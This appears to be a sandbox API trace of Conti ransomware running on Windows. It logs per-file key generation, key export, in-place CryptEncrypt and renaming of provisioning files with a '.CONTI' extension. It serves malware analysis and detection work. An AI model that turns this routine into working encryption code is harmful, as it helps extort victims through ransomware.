	[0109.619] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.619] WriteFile (in: hFile=0x320, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.621] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.621] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2cc, lpOverlapped=0x0) returned 1
	[0109.622] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2cc, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0109.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.622] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.622] WriteFile (in: hFile=0x320, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.622] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.622] CloseHandle (hObject=0x320) returned 1
	[0109.622] GetProcessHeap () returned 0x1720000
	[0109.622] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.622] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml"
	[0109.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.622] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.623] GetProcessHeap () returned 0x1720000
	[0109.623] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.623] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.623] GetProcessHeap () returned 0x1720000
	[0109.623] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d79f8 | out: hHeap=0x1720000) returned 1
	[0109.623] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.623] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x6b7f638) returned 1
	[0109.623] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x587f8ac | out: pbData=0x17d368c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.624] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.624] GetLastError () returned 0x0
	[0109.624] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=709) returned 1
	[0109.624] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0109.624] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.624] SetEndOfFile (hFile=0x320) returned 1
	[0109.624] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.625] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.625] WriteFile (in: hFile=0x320, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.626] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.626] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2c5, lpOverlapped=0x0) returned 1
	[0109.627] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2c5, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0109.627] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.627] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.627] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.627] WriteFile (in: hFile=0x320, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.627] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.627] CloseHandle (hObject=0x320) returned 1
	[0109.627] GetProcessHeap () returned 0x1720000
	[0109.627] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.627] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0109.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.627] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.628] GetProcessHeap () returned 0x1720000
	[0109.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.628] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0109.628] GetProcessHeap () returned 0x1720000
	[0109.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6808 | out: hHeap=0x1720000) returned 1
	[0109.628] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.628] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x6b7f478) returned 1
	[0109.628] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x587f8ac | out: pbData=0x17d38d4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.629] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0109.629] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.630] GetLastError () returned 0x0
	[0109.630] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=467) returned 1
	[0109.630] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d3
	[0109.630] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.630] SetEndOfFile (hFile=0x320) returned 1
	[0109.630] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.630] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.630] WriteFile (in: hFile=0x320, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.632] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.632] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1d3, lpOverlapped=0x0) returned 1
	[0109.632] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1d3, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1e0) returned 1
	[0109.632] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.632] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.632] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.632] WriteFile (in: hFile=0x320, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.632] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.633] CloseHandle (hObject=0x320) returned 1
	[0109.633] GetProcessHeap () returned 0x1720000
	[0109.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
	[0109.633] lstrcpyW (in: lpString1=0x65b8730, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0109.633] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0109.633] GetProcessHeap () returned 0x1720000
	[0109.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8730 | out: hHeap=0x1720000) returned 1
	[0109.633] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.633] GetProcessHeap () returned 0x1720000
	[0109.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6430 | out: hHeap=0x1720000) returned 1
	[0109.634] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0109.634] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x6b7f178) returned 1
	[0109.634] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x587f8ac | out: pbData=0x17d443c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0109.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.635] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.635] GetLastError () returned 0x0
	[0109.635] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=643) returned 1
	[0109.635] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0109.635] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.635] SetEndOfFile (hFile=0x320) returned 1
	[0109.635] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.635] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.635] WriteFile (in: hFile=0x320, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0110.463] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.463] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x283, lpOverlapped=0x0) returned 1
	[0110.463] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x283, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x290) returned 1
	[0110.463] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.463] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x290, lpOverlapped=0x0) returned 1
	[0110.463] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.463] WriteFile (in: hFile=0x320, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0110.463] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.463] CloseHandle (hObject=0x320) returned 1
	[0110.463] GetProcessHeap () returned 0x1720000
	[0110.463] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.931] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0110.931] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.931] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.934] GetProcessHeap () returned 0x1720000
	[0110.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.934] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0110.934] GetProcessHeap () returned 0x1720000
	[0110.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6578 | out: hHeap=0x1720000) returned 1
